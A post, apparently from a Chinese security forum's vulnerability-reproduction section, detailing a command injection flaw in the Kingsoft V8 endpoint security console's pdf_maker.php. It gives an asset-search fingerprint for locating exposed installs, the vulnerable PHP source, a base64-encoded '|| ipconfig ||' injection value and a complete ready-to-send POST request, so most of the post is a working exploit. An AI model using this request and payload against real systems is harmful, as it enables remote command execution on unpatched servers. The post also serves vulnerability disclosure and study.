问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Kingsoft V8 终端安全系统 pdf_maker.php 命令执行漏洞
# Kingsoft V8 终端安全系统 pdf_maker.php 命令执行漏洞 ## 漏洞描述 Kingsoft V8 终端安全系统 pdf_maker.php 存在命令执行漏洞,由于没有过滤危险字符,导致构造特殊字符即可进行命令...
Kingsoft V8 终端安全系统 pdf\_maker.php 命令执行漏洞 ======================================== 漏洞描述 ---- Kingsoft V8 终端安全系统 pdf\_maker.php 存在命令执行漏洞,由于没有过滤危险字符,导致构造特殊字符即可进行命令拼接执行任意命令 漏洞影响 ---- Kingsoft V8 终端安全系统 网络测绘 ---- app="猎鹰安全-KingsoftV8+终端安全系统" 漏洞复现 ---- 存在漏洞的文件为 ```plain Kingsoft\Security Manager\SystemCenter\Console\inter\pdf_maker.php ``` ```php <?php require_once (dirname(__FILE__)."\\common\\HTTPrequest_SCpost.php"); /* { "kptl" : { "set_exportpdf_cmd" : { "url" : "http://xxx.xxx.xxx.xxx/report/system/main.php?userSession=5784727B-7AEA-4EFE-B0CB-DDD6DA1CABD3&guid=1AC380D9- 580C-49A8-B6EC-787CF50FA928&VHierarchyID=ADMIN", "fileName":"test.pdf" } } */ //$post = file_get_contents("php://input"); /* $post = array("kptl"=> array("set_exportpdf_cmd"=>array( "url"=>"http://xxx.xxx.xxx.xxx/report/system/main.php?userSession=5784727B-7AEA-4EFE-B0CB-DDD6DA1CABD3&guid=1AC380D9-580C-49A8-B6EC-787CF50FA928&VHierarchyID=ADMIN", "fileName"=>"test1234.pdf" ) )); */ $url = $_POST["url"]; $fileName = $_POST["fileName"]; $batName=$fileName; if ($url == null || $fileName == null) { $return["nResult"] = __LINE__; echo json_encode($return,JSON_UNESCAPED_UNICODE); return ; } $url = base64_decode($url); $nameStr = base64_decode($fileName).date("Y-m-d").".pdf"; $fileName="..\\htmltopdf\\".$nameStr; system('mkdir ..\\htmltopdf'); $cmd = '..\\..\\wkhtmltopdf.exe "'.$url.'" '.$fileName; if (getApacheVersion()>=24) { //apache 2.4 php 7 版本 只能在 bat中运行 $cmd =" del ".$fileName; exec($cmd); $url_= str_replace('%','%%', $url); $cmd = '..\\..\\wkhtmltopdf.exe "'.$url_.'" '.$fileName; $batName ="exec_wkhtmltopdf.bat"; $myfile = fopen($batName , "w"); //$cmd =iconv("UTF-8", "gbk", $cmd ); fwrite($myfile, $cmd); fclose($myfile); $cmd =$batName ; exec($cmd); $cmd =" del ".$batName; exec($cmd); }else { system($cmd); } // echo $url; $return = array("nResult" => "0","fileName" =>$nameStr,"url"=>$url); echo json_encode($return,JSON_UNESCAPED_UNICODE); ?> ``` ![img](https://shs3.b.qianxin.com/butian_public/f635163c343532912eb6fc150048cce2161d715eb664d.jpg) 这里传入 base64加密的拼接命令即可执行任意命令 ```plain "|| ipconfig || --base64--> url=IiB8fCBpcGNvbmZpZyB8fA==&fileName=xxx ``` ```plain POST /inter/pdf_maker.php HTTP/1.1 Host: Content-Length: 45 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: PHPSESSID=noei1ghcv9rqgp58jf79991n04 url=IiB8fCBpcGNvbmZpZyB8fA%3D%3D&fileName=xxx ``` ![img](https://shs3.b.qianxin.com/butian_public/f891049ddffbb1240d05592bfd7e963e11bf087dbacb4.jpg)
发表于 2024-07-12 18:46:17
阅读 ( 1007 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!